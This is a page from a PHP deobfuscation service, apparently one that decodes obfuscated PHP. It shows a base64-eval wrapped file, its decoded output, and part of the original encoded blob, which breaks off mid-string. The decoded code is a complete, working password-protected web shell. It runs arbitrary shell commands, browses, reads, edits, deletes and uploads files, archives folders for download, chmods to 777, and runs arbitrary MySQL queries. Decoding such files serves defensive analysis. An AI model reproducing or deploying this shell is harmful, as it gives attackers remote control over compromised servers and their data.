Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHANCi8vV2lsbCBjb21lIGJhY2shDQpzZXNzaW9uX3N0YXJ0KCk7DQo..

Decoded Output download

?>b'<?php
//Will come back!
session_start();

function isLinux($path)
{
    return (substr($path,0,1)=="/" ? true : false);
}
function getSlashDir($isLinux)
{
    return($isLinux ? \'/\' : \'\\');
}

function auth($username, $password){
 $user = \'[email protected]\';
 $pass = \'Place where europe meets asia\';

 if($username == $user && $password == $pass){

     $_SESSION["access"] = "true";
     $_SESSION[\'LAST_ACTIVITY\'] = time(); // update last activity time stamp
 }
 else {
     echo \'Auth Access Denied\';
 }
}
if(!isset($_SESSION["access"])){
    if(isset($_REQUEST[\'u\']) && isset($_REQUEST[\'p\'])){
        auth($_REQUEST[\'u\'],$_REQUEST[\'p\']);
    }
}
if(isset($_SESSION["access"]) && $_SESSION[\'access\']==\'true\'){
//See if we are on Linux or Windows becuase the paths have to be processed differently
    $cwd=getcwd();
    $isLinux=isLinux($cwd);
    if(!$isLinux)
    {
        $driveLetter=substr($cwd,0,1);
    }
    $slash=getSlashDir($isLinux);
    $parts=explode($slash,$cwd);
    $rootDir=($isLinux ? $slash : ($driveLetter . \':\' . $slash));


    function cleanPath($path,$isLinux)
    {
        $slash=getSlashDir($isLinux);
        $parts=explode($slash,$path);
        foreach($parts as $key=>$val)//Process .. directories and a single .
        {
            if($val=="..")
            {
                $parts[$key]="";
                $lastKey=$key-1;
                $parts[$lastKey]="";
            }
            elseif($val==".")
            {
                $parts[$key]="";
            }
        }
        reset($parts);
        $fixedPath=($isLinux ? "/" : "");//Some PHP configs wont automatically create a variable on .= or will at least whine about it
        $firstPiece=true;
        foreach($parts as $val)//Assemble the path back together
        {
            if($val != "")
            {
                $fixedPath .=  ($firstPiece ? \'\' : $slash) . $val;
                $firstPiece=false;
            }
        }
        if($fixedPath=="")//If we took out the entire path go to bottom level to avoid an error
        {
            $fixedPath=($isLinux ? $slash : ($driveLetter . ":" . $slash));
        }

        //Make sure there is an ending slash
        if(substr($fixedPath,-1)!=$slash)
            $fixedPath .= $slash;
        return $fixedPath;
    }
    if(isset($_REQUEST[\'chm\']))
    {
        if(!$isLinux)
        {
            echo "This feature only works on Linux";
        }
        else
        {
            echo (@chmod ( $_REQUEST[\'chm\'] , 0777 ) ? "Reassigned" : "Can\'t Reasign");
        }
    }
    elseif(isset($_REQUEST[\'phpinfo\']))
    {
        phpinfo();
    }
    elseif(isset($_REQUEST[\'dl\']))
    {
        if(@fopen($_REQUEST[\'dl\'] .  $_REQUEST[\'file\'],\'r\')==true)
        {
            $_REQUEST[\'dl\'] .= $_REQUEST[\'file\'];
            if(substr($_REQUEST[\'dl\'],0,1)==$slash)
                $fileArr=explode($slash,$_REQUEST[\'dl\']);

            header(\'Content-disposition: attachment; filename=\' . $_REQUEST[\'file\']);
            header(\'Content-type: application/octet-stream\');
            readfile($_REQUEST[\'dl\']);
        }
        else
        {
            echo $_REQUEST[\'dl\'];
        }
    }
    elseif(isset($_REQUEST["gz"]))
    {
        if(!$isLinux)
        {
            echo "This feature only works on Linux";
        }
        else
        {
            $directory=$_REQUEST["gz"];

            if(substr($directory,-1)=="/")
                $directory = substr($directory,0,-1);

            $dirParts=explode($slash,$directory);
            $fname=$dirParts[(sizeof($dirParts)-1)];

            $archive = time();

            exec( "cd $directory; tar czf $archive *");
            $output=@file_get_contents($directory . "/" . $archive);

            if(!$output)
                header("Content-disposition: attachment; filename=ACCESS_PROBLEM");
            else
            {
                header("Content-disposition: attachment; filename=$fname.tgz");
                echo $output;
            }

            header(\'Content-type: application/octet-stream\');
            @unlink($directory . "/" . $archive);
        }
    }
    elseif(isset($_REQUEST[\'f\']))
    {
        $filename=$_REQUEST[\'f\'];
        $file=fopen("$filename","rb");
        header("Content-Type: text/plain");
        fpassthru($file);
    }
    elseif(isset($_REQUEST[\'d\']))
    {
        $d=$_REQUEST[\'d\'];
        echo "<pre>";
        if ($handle = opendir("$d"))
        {
            echo "<h2>listing of ";
            $conString="";
            if($isLinux)
                echo "<a href=\'?d=$slash\'>$slash</a>";
            foreach(explode($slash,cleanPath($d,$isLinux)) as $val)
            {
                $conString .= $val . $slash;
                echo "<a href=\'?d=$conString\'>" . $val . "</a>" . ($val != "" ? $slash : \'\');
            }
            echo " (<a target=\'_blank\' href=\'?uploadForm=1&dir=" . urlencode(cleanPath($d,$isLinux)) . "\'>upload file</a>) (<a href=\'?d=" . urlencode(cleanPath($d,$isLinux)) . "&hldb=1\'>DB interaction files in red</a>)</h2> (<a target=\'_blank\' href=\'?gz=" . urlencode(cleanPath($d,$isLinux)) . "\'>gzip & download folder</a>) (<a target=\'_blank\' href=\'?chm=" . urlencode(cleanPath($d,$isLinux)) . "\'>chmod folder to 777)</a> (these rarely work)<br />";
            while ($dir = readdir($handle))
            {
                if (is_dir("$d$slash$dir"))
                {
                    if($dir != "." && $dir !="..")
                        $dirList[]=$dir;
                }
                else
                {
                    if(isset($_REQUEST["hldb"]))
                    {
                        $contents=file_get_contents("$d$slash$dir");
                        if (stripos($contents, "mysql_") || stripos($contents, "mysqli_") || stripos($contents, "SELECT "))
                        {
                            $fileList[]=array(\'dir\'=>$dir,\'color\'=>\'red\');
                        }
                        else
                        {
                            $fileList[]=array(\'dir\'=>$dir,\'color\'=>\'black\');
                        }
                    }
                    else
                    {
                        $fileList[]=array(\'dir\'=>$dir,\'color\'=>\'black\');
                    }
                }
            }

            echo "<a href=\'?d=$d$slash.\'><font color=grey>.
</font></a>";
            echo "<a href=\'?d=$d$slash..\'><font color=grey>..
</font></a>";

            //Some configurations throw a notice if is_array is tried with a non-existant variable
            if(isset($dirList))
                if(is_array($dirList))
                    foreach($dirList as $dir)
                    {
                        echo "<a href=\'?d=$d$slash$dir\'><font color=grey>$dir
</font></a>";
                    }

            if(isset($fileList))
                if(is_array($fileList))
                    foreach($fileList as $dir)
                    {
                        echo "<a href=\'?f=$d" . $slash . $dir[\'dir\'] . "\'><font color=" . $dir[\'color\'] . ">" . $dir[\'dir\'] . "</font></a>" .
                            "|<a href=\'?dl=" . cleanPath($d,$isLinux) . \'&file=\' .$dir["dir"] . "\' target=\'_blank\'>Download</a>|" .
                            "|<a href=\'?ef=" . cleanPath($d,$isLinux) . \'&file=\' .$dir["dir"] . "\' target=\'_blank\'>Edit</a>|" .
                            "|<a href=\'?df=" . cleanPath($d,$isLinux) . \'&file=\' .$dir["dir"] . "\' target=\'_blank\'>Delete</a>| 
";
                    }
        }
        else
            echo "opendir() failed";
        closedir($handle);
    }
    elseif(isset($_REQUEST[\'c\']))
    {
        if( @ini_get(\'safe_mode\') )
        {
            echo \'Safe mode is on, the command is by default run though escapeshellcmd() and can only run programms in safe_mod_exec_dir (\' . @ini_get(\'safe_mode_exec_dir\') . \') <br />\';
        }
        echo "<b>Command: <I>" . $_REQUEST[\'c\'] . "</I></b><br /><br />";
        trim(exec($_REQUEST[\'c\'],$return));
        foreach($return as $val)
        {
            echo \'<pre>\' . htmlentities($val) . \'</pre>\';
        }
    }
    elseif(isset($_REQUEST[\'uploadForm\']) || isset($_FILES["file_name"]))
    {
        if(isset($_FILES["file_name"]))
        {
            if ($_FILES["file_name"]["error"] > 0)
            {
                echo "Error";
            }
            else
            {
                $target_path = $_COOKIE["uploadDir"];
                if(substr($target_path,-1) != "/")
                    $target_path .= "/";

                $target_path = $target_path . basename( $_FILES[\'file_name\'][\'name\']);

                if(move_uploaded_file($_FILES[\'file_name\'][\'tmp_name\'], $target_path)) {
                    setcookie("uploadDir","");
                    echo "The file ".  basename( $_FILES[\'file_name\'][\'name\']).
                        " has been uploaded";
                }
                else
                {
                    echo "Error copying file, likely a permission error.";
                }
            }
        }
        else
        {
            ?>
            <form target="_blank" action="" method="GET">
                <input type="hidden" name="cc" value="1" />
                Submit this form before submitting file (will open in new window):<br />
                Upload Directory: <input type="text" name="dir" value="<?php echo $_REQUEST["dir"] ?>"><br />
                <input type="submit" value="submit" />
            </form>
            <br /><br />

            <form enctype="multipart/form-data" action="" method="post">
                Upload file:<input name="file_name" type="file"> <input type="submit" value="Upload" /></form>

            <?php
        }
    }
    elseif(isset($_REQUEST[\'cc\']))
    {
        setcookie("uploadDir",$_GET["dir"]);
        echo "You are OK to upload the file, don\'t upload files to other directories before completing this upload.";
    }
    elseif(isset($_REQUEST[\'mquery\']))
    {
        $host=$_REQUEST[\'host\'];
        $usr=$_REQUEST[\'usr\'];
        $passwd=$_REQUEST[\'passwd\'];
        $db=$_REQUEST[\'db\'];
        $mquery=$_REQUEST[\'mquery\'];
        @mysql_connect($host, $usr, $passwd) or die("Connection Error: " . mysql_error());
        mysql_select_db($db);
        $result = mysql_query($mquery);
        if($result!=false)
        {
            echo "<h2>The following query has sucessfully executed</h2>" . htmlentities($mquery) . "<br /><br />";
            echo "Return Results:<br />";
            $first=true;
            echo "<table border=\'1\'>";
            while ($row = mysql_fetch_array($result,MYSQL_ASSOC))
            {
                if($first)
                {
                    echo "<tr>";
                    foreach($row as $key=>$val)
                    {
                        echo "<td><b>$key</b></td>";
                    }
                    echo "</tr>";
                    reset($row);
                    $first=false;
                }
                echo "<tr>";
                foreach($row as $val)
                {
                    echo "<td>$val</td>";
                }
                echo "</tr>";
            }
            echo "</table>";
            mysql_free_result($result);
        }
        else
        {
            echo "Query Error: " . mysql_error();
        }
    }
    elseif(isset($_REQUEST[\'df\']))
    {
        $_REQUEST[\'df\'] .= $slash . $_REQUEST[\'file\'];
        if(@unlink($_REQUEST[\'df\']))
        {
            echo "File deleted";
        }
        else
        {
            echo "Error deleting file";
        }
    }
    elseif(isset($_REQUEST[\'ef\']))
    {
        ?>
        <script type="text/javascript">
            <!--

            var key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

            function encode64(inpStr)
            {
                inpStr = escape(inpStr);
                var output = "";
                var chr1, chr2, chr3 = "";
                var enc1, enc2, enc3, enc4 = "";
                var i = 0;

                do {
                    chr1 = inpStr.charCodeAt(i++);
                    chr2 = inpStr.charCodeAt(i++);
                    chr3 = inpStr.charCodeAt(i++);

                    enc1 = chr1 >> 2;
                    enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
                    enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
                    enc4 = chr3 & 63;

                    if (isNaN(chr2))
                    {
                        enc3 = enc4 = 64;
                    }
                    else if (isNaN(chr3))
                    {
                        enc4 = 64;
                    }

                    output = output +
                        key.charAt(enc1) +
                        key.charAt(enc2) +
                        key.charAt(enc3) +
                        key.charAt(enc4);
                    chr1 = chr2 = chr3 = enc1 = enc2 = enc3 = enc4 = "";
                } while (i < inpStr.length);

                return output;
            }

            //--></script>

        <?php
        $_REQUEST[\'ef\'] .= $_REQUEST[\'file\'];
        if(isset($_POST["newcontent"]))
        {
            $_POST["newcontent"]=urldecode(base64_decode($_POST["newcontent"]));
            $stream=@fopen($_REQUEST[\'ef\'],"w");

            if($stream)
            {
                fwrite($stream,$_POST["newcontent"]);
                echo "Write sucessful";
            }
            else
            {
                echo "Could not write to file";
            }
            fclose($stream);
        }
        ?>
        <form action="" name="f" method="POST">
            <textarea wrap="off" rows="40" cols="130" name="newcontent"><?php echo file_get_contents($_REQUEST[\'ef\']) ?></textarea><br />
            <input type="submit" value="I base64 encoded it myself, dont run script" /><br />
            <input type="submit" value="Change (requires javascript to work)"  onclick="document.f.newcontent.value=encode64(document.f.newcontent.value);" />
        </form>
        <?php
    }
    else
    {
        ?>
        <b>Server Information:</b><br />
        <i>
            Operating System: <?php echo PHP_OS ?><br />
            PHP Version: <?php echo PHP_VERSION ?><br />
            <a href="?phpinfo=true">View phpinfo</a>
        </i>
        <br />
        <br />
        <b>Directory Traversal</b><br />
        <a href="?d=<?php echo getcwd() ?>"><b>Go to current working directory</b></a> <br />
        <a href="?d=<?php echo $rootDir ?>"><b>Go to root directory</b></a> <br />
        <b>Go to any directory:</b> <form action="" method="GET"><input type="text" name="d" value="<?php echo $rootDir ?>" /><input type="submit" value="Go" /></form>



        <hr>Execute MySQL Query:
        <form action="" METHOD="GET" >
            <table>
                <tr><td>host</td><td><input type="text" name="host"value="localhost"> </td></tr>
                <tr><td>user</td><td><input type="text" name="usr" value="root"> </td></tr>
                <tr><td>password</td><td><input type="text" name="passwd"> </td></tr>
                <tr><td>database</td><td><input type="text" name="db"> </td></tr>
                <tr><td valign="top">query</td><td><textarea name="mquery" rows="6" cols="65"></textarea> </td></tr>
                <tr><td colspan="2"><input type="submit" value="execute"></td></tr>
            </table>
        </form>
        <hr>
        <pre><form action="" METHOD="GET" >Execute Shell Command (safe mode is <?php echo (@ini_get(\'safe_mode\') ? \'on\' : \'off\') ?>): <input type="text" name="c"><input type="submit" value="Go"></form>
        <?php
    }
//Intentionally left open to avoid output the file download function 1

} else {
    echo \'Auth Access Denied\';
}'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHANCi8vV2lsbCBjb21lIGJhY2shDQpzZXNzaW9uX3N0YXJ0KCk7DQoNCmZ1bmN0aW9uIGlzTGludXgoJHBhdGgpDQp7DQogICAgcmV0dXJuIChzdWJzdHIoJHBhdGgsMCwxKT09Ii8iID8gdHJ1ZSA6IGZhbHNlKTsNCn0NCmZ1bmN0aW9uIGdldFNsYXNoRGlyKCRpc0xpbnV4KQ0Kew0KICAgIHJldHVybigkaXNMaW51eCA/ICcvJyA6ICdcXCcpOw0KfQ0KDQpmdW5jdGlvbiBhdXRoKCR1c2VybmFtZSwgJHBhc3N3b3JkKXsNCiAkdXNlciA9ICdhYmMxMjNAcmVkYXBwbGUuY28nOw0KICRwYXNzID0gJ1BsYWNlIHdoZXJlIGV1cm9wZSBtZWV0cyBhc2lhJzsNCg0KIGlmKCR1c2VybmFtZSA9PSAkdXNlciAmJiAkcGFzc3dvcmQgPT0gJHBhc3Mpew0KDQogICAgICRfU0VTU0lPTlsiYWNjZXNzIl0gPSAidHJ1ZSI7DQogICAgICRfU0VTU0lPTlsnTEFTVF9BQ1RJVklUWSddID0gdGltZSgpOyAvLyB1cGRhdGUgbGFzdCBhY3Rpdml0eSB0aW1lIHN0YW1wDQogfQ0KIGVsc2Ugew0KICAgICBlY2hvICdBdXRoIEFjY2VzcyBEZW5pZWQnOw0KIH0NCn0NCmlmKCFpc3NldCgkX1NFU1NJT05bImFjY2VzcyJdKSl7DQogICAgaWYoaXNzZXQoJF9SRVFVRVNUWyd1J10pICYmIGlzc2V0KCRfUkVRVUVTVFsncCddKSl7DQogICAgICAgIGF1dGgoJF9SRVFVRVNUWyd1J10sJF9SRVFVRVNUWydwJ10pOw0KICAgIH0NCn0NCmlmKGlzc2V0KCRfU0VTU0lPTlsiYWNjZXNzIl0pICYmICRfU0VTU0lPTlsnYWNjZXNzJ109PSd0cnVlJyl7DQovL1NlZSBpZiB3ZSBhcmUgb24gTGludXggb3IgV2luZG93cyBiZWN1YXNlIHRoZSBwYXRocyBoYXZlIHRvIGJlIHByb2Nlc3NlZCBkaWZmZXJlbnRseQ0KICAgICRjd2Q9Z2V0Y3dkKCk7DQogICAgJGlzTGludXg9aXNMaW51eCgkY3dkKTsNCiAgICBpZighJGlzTGludXgpDQogICAgew0KICAgICAgICAkZHJpdmVMZXR0ZXI9c3Vic3RyKCRjd2QsMCwxKTsNCiAgICB9DQogICAgJHNsYXNoPWdldFNsYXNoRGlyKCRpc0xpbnV4KTsNCiAgICAkcGFydHM9ZXhwbG9kZSgkc2xhc2gsJGN3ZCk7DQogICAgJHJvb3REaXI9KCRpc0xpbnV4ID8gJHNsYXNoIDogKCRkcml2ZUxldHRlciAuICc6JyAuICRzbGFzaCkpOw0KDQoNCiAgICBmdW5jdGlvbiBjbGVhblBhdGgoJHBhdGgsJGlzTGludXgpDQogICAgew0KICAgICAgICAkc2xhc2g9Z2V0U2xhc2hEaXIoJGlzTGludXgpOw0KICAgICAgICAkcGFydHM9ZXhwbG9kZSgkc2xhc2gsJHBhdGgpOw0KICAgICAgICBmb3JlYWNoKCRwYXJ0cyBhcyAka2V5PT4kdmFsKS8vUHJvY2VzcyAuLiBkaXJlY3RvcmllcyBhbmQgYSBzaW5nbGUgLg0KICAgICAgICB7DQogICAgICAgICAgICBpZigkdmFsPT0iLi4iKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRwYXJ0c1ska2V5XT0iIjsNCiAgICAgICAgICAgICAgICAkbGFzdEtleT0ka2V5LTE7DQogICAgICAgICAgICAgICAgJHBhcnRzWyRsYXN0S2V5XT0iIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZigkdmFsPT0iLiIpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHBhcnRzWyRrZXldPSIiOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHJlc2V0KCRwYXJ0cyk7DQogICAgICAgICRmaXhlZFBhdGg9KCRpc0xpbnV4ID8gIi8iIDogIiIpOy8vU29tZSBQSFAgY29uZmlncyB3b250IGF1dG9tYXRpY2FsbHkgY3JlYXRlIGEgdmFyaWFibGUgb24gLj0gb3Igd2lsbCBhdCBsZWFzdCB3aGluZSBhYm91dCBpdA0KICAgICAgICAkZmlyc3RQaWVjZT10cnVlOw0KICAgICAgICBmb3JlYWNoKCRwYXJ0cyBhcyAkdmFsKS8vQXNzZW1ibGUgdGhlIHBhdGggYmFjayB0b2dldGhlcg0KICAgICAgICB7DQogICAgICAgICAgICBpZigkdmFsICE9ICIiKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRmaXhlZFBhdGggLj0gICgkZmlyc3RQaWVjZSA/ICcnIDogJHNsYXNoKSAuICR2YWw7DQogICAgICAgICAgICAgICAgJGZpcnN0UGllY2U9ZmFsc2U7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgaWYoJGZpeGVkUGF0aD09IiIpLy9JZiB3ZSB0b29rIG91dCB0aGUgZW50aXJlIHBhdGggZ28gdG8gYm90dG9tIGxldmVsIHRvIGF2b2lkIGFuIGVycm9yDQogICAgICAgIHsNCiAgICAgICAgICAgICRmaXhlZFBhdGg9KCRpc0xpbnV4ID8gJHNsYXNoIDogKCRkcml2ZUxldHRlciAuICI6IiAuICRzbGFzaCkpOw0KICAgICAgICB9DQoNCiAgICAgICAgLy9NYWtlIHN1cmUgdGhlcmUgaXMgYW4gZW5kaW5nIHNsYXNoDQogICAgICAgIGlmKHN1YnN0cigkZml4ZWRQYXRoLC0xKSE9JHNsYXNoKQ0KICAgICAgICAgICAgJGZpeGVkUGF0aCAuPSAkc2xhc2g7DQogICAgICAgIHJldHVybiAkZml4ZWRQYXRoOw0KICAgIH0NCiAgICBpZihpc3NldCgkX1JFUVVFU1RbJ2NobSddKSkNCiAgICB7DQogICAgICAgIGlmKCEkaXNMaW51eCkNCiAgICAgICAgew0KICAgICAgICAgICAgZWNobyAiVGhpcyBmZWF0dXJlIG9ubHkgd29ya3Mgb24gTGludXgiOw0KICAgICAgICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgZWNobyAoQGNobW9kICggJF9SRVFVRVNUWydjaG0nXSAsIDA3NzcgKSA/ICJSZWFzc2lnbmVkIiA6ICJDYW4ndCBSZWFzaWduIik7DQogICAgICAgIH0NCiAgICB9DQogICAgZWxzZWlmKGlzc2V0KCRfUkVRVUVTVFsncGhwaW5mbyddKSkNCiAgICB7DQogICAgICAgIHBocGluZm8oKTsNCiAgICB9DQogICAgZWxzZWlmKGlzc2V0KCRfUkVRVUVTVFsnZGwnXSkpDQogICAgew0KICAgICAgICBpZihAZm9wZW4oJF9SRVFVRVNUWydkbCddIC4gICRfUkVRVUVTVFsnZmlsZSddLCdyJyk9PXRydWUpDQogICAgICAgIHsNCiAgICAgICAgICAgICRfUkVRVUVTVFsnZGwnXSAuPSAkX1JFUVVFU1RbJ2ZpbGUnXTsNCiAgICAgICAgICAgIGlmKHN1YnN0cigkX1JFUVVFU1RbJ2RsJ10sMCwxKT09JHNsYXNoKQ0KICAgICAgICAgICAgICAgICRmaWxlQXJyPWV4cGxvZGUoJHNsYXNoLCRfUkVRVUVTVFsnZGwnXSk7DQoNCiAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JyAuICRfUkVRVUVTVFsnZmlsZSddKTsNCiAgICAgICAgICAgIGhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nKTsNCiAgICAgICAgICAgIHJlYWRmaWxlKCRfUkVRVUVTVFsnZGwnXSk7DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICBlY2hvICRfUkVRVUVTVFsnZGwnXTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBlbHNlaWYoaXNzZXQoJF9SRVFVRVNUWyJneiJdKSkNCiAgICB7DQogICAgICAgIGlmKCEkaXNMaW51eCkNCiAgICAgICAgew0KICAgICAgICAgICAgZWNobyAiVGhpcyBmZWF0dXJlIG9ubHkgd29ya3Mgb24gTGludXgiOw0KICAgICAgICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgJGRpcmVjdG9yeT0kX1JFUVVFU1RbImd6Il07DQoNCiAgICAgICAgICAgIGlmKHN1YnN0cigkZGlyZWN0b3J5LC0xKT09Ii8iKQ0KICAgICAgICAgICAgICAgICRkaXJlY3RvcnkgPSBzdWJzdHIoJGRpcmVjdG9yeSwwLC0xKTsNCg0KICAgICAgICAgICAgJGRpclBhcnRzPWV4cGxvZGUoJHNsYXNoLCRkaXJlY3RvcnkpOw0KICAgICAgICAgICAgJGZuYW1lPSRkaXJQYXJ0c1soc2l6ZW9mKCRkaXJQYXJ0cyktMSldOw0KDQogICAgICAgICAgICAkYXJjaGl2ZSA9IHRpbWUoKTsNCg0KICAgICAgICAgICAgZXhlYyggImNkICRkaXJlY3Rvcnk7IHRhciBjemYgJGFyY2hpdmUgKiIpOw0KICAgICAgICAgICAgJG91dHB1dD1AZmlsZV9nZXRfY29udGVudHMoJGRpcmVjdG9yeSAuICIvIiAuICRhcmNoaXZlKTsNCg0KICAgICAgICAgICAgaWYoISRvdXRwdXQpDQogICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1BQ0NFU1NfUFJPQkxFTSIpOw0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JGZuYW1lLnRneiIpOw0KICAgICAgICAgICAgICAgIGVjaG8gJG91dHB1dDsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOw0KICAgICAgICAgICAgQHVubGluaygkZGlyZWN0b3J5IC4gIi8iIC4gJGFyY2hpdmUpOw0KICAgICAgICB9DQogICAgfQ0KICAgIGVsc2VpZihpc3NldCgkX1JFUVVFU1RbJ2YnXSkpDQogICAgew0KICAgICAgICAkZmlsZW5hbWU9JF9SRVFVRVNUWydmJ107DQogICAgICAgICRmaWxlPWZvcGVuKCIkZmlsZW5hbWUiLCJyYiIpOw0KICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbiIpOw0KICAgICAgICBmcGFzc3RocnUoJGZpbGUpOw0KICAgIH0NCiAgICBlbHNlaWYoaXNzZXQoJF9SRVFVRVNUWydkJ10pKQ0KICAgIHsNCiAgICAgICAgJGQ9JF9SRVFVRVNUWydkJ107DQogICAgICAgIGVjaG8gIjxwcmU+IjsNCiAgICAgICAgaWYgKCRoYW5kbGUgPSBvcGVuZGlyKCIkZCIpKQ0KICAgICAgICB7DQogICAgICAgICAgICBlY2hvICI8aDI+bGlzdGluZyBvZiAiOw0KICAgICAgICAgICAgJGNvblN0cmluZz0iIjsNCiAgICAgICAgICAgIGlmKCRpc0xpbnV4KQ0KICAgICAgICAgICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9kPSRzbGFzaCc+JHNsYXNoPC9hPiI7DQogICAgICAgICAgICBmb3JlYWNoKGV4cGxvZGUoJHNsYXNoLGNsZWFuUGF0aCgkZCwkaXNMaW51eCkpIGFzICR2YWwpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGNvblN0cmluZyAuPSAkdmFsIC4gJHNsYXNoOw0KICAgICAgICAgICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9kPSRjb25TdHJpbmcnPiIgLiAkdmFsIC4gIjwvYT4iIC4gKCR2YWwgIT0gIiIgPyAkc2xhc2ggOiAnJyk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICIgKDxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSc/dXBsb2FkRm9ybT0xJmRpcj0iIC4gdXJsZW5jb2RlKGNsZWFuUGF0aCgkZCwkaXNMaW51eCkpIC4gIic+dXBsb2FkIGZpbGU8L2E+KSAoPGEgaHJlZj0nP2Q9IiAuIHVybGVuY29kZShjbGVhblBhdGgoJGQsJGlzTGludXgpKSAuICImaGxkYj0xJz5EQiBpbnRlcmFjdGlvbiBmaWxlcyBpbiByZWQ8L2E+KTwvaDI+ICg8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nP2d6PSIgLiB1cmxlbmNvZGUoY2xlYW5QYXRoKCRkLCRpc0xpbnV4KSkgLiAiJz5nemlwICYgZG93bmxvYWQgZm9sZGVyPC9hPikgKDxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSc/Y2htPSIgLiB1cmxlbmNvZGUoY2xlYW5QYXRoKCRkLCRpc0xpbnV4KSkgLiAiJz5jaG1vZCBmb2xkZXIgdG8gNzc3KTwvYT4gKHRoZXNlIHJhcmVseSB3b3JrKTxiciAvPiI7DQogICAgICAgICAgICB3aGlsZSAoJGRpciA9IHJlYWRkaXIoJGhhbmRsZSkpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgaWYgKGlzX2RpcigiJGQkc2xhc2gkZGlyIikpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBpZigkZGlyICE9ICIuIiAmJiAkZGlyICE9Ii4uIikNCiAgICAgICAgICAgICAgICAgICAgICAgICRkaXJMaXN0W109JGRpcjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9SRVFVRVNUWyJobGRiIl0pKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudHM9ZmlsZV9nZXRfY29udGVudHMoIiRkJHNsYXNoJGRpciIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHN0cmlwb3MoJGNvbnRlbnRzLCAibXlzcWxfIikgfHwgc3RyaXBvcygkY29udGVudHMsICJteXNxbGlfIikgfHwgc3RyaXBvcygkY29udGVudHMsICJTRUxFQ1QgIikpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGVMaXN0W109YXJyYXkoJ2Rpcic9PiRkaXIsJ2NvbG9yJz0+J3JlZCcpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlTGlzdFtdPWFycmF5KCdkaXInPT4kZGlyLCdjb2xvcic9PidibGFjaycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGVMaXN0W109YXJyYXkoJ2Rpcic9PiRkaXIsJ2NvbG9yJz0+J2JsYWNrJyk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9kPSRkJHNsYXNoLic+PGZvbnQgY29sb3I9Z3JleT4uXG48L2ZvbnQ+PC9hPiI7DQogICAgICAgICAgICBlY2hvICI8YSBocmVmPSc/ZD0kZCRzbGFzaC4uJz48Zm9udCBjb2xvcj1ncmV5Pi4uXG48L2ZvbnQ+PC9hPiI7DQoNCiAgICAgICAgICAgIC8vU29tZSBjb25maWd1cmF0aW9ucyB0aHJvdyBhIG5vdGljZSBpZiBpc19hcnJheSBpcyB0cmllZCB3aXRoIGEgbm9uLWV4aXN0YW50IHZhcmlhYmxlDQogICAgICAgICAgICBpZihpc3NldCgkZGlyTGlzdCkpDQogICAgICAgICAgICAgICAgaWYoaXNfYXJyYXkoJGRpckxpc3QpKQ0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRkaXJMaXN0IGFzICRkaXIpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9kPSRkJHNsYXNoJGRpcic+PGZvbnQgY29sb3I9Z3JleT4kZGlyXG48L2ZvbnQ+PC9hPiI7DQogICAgI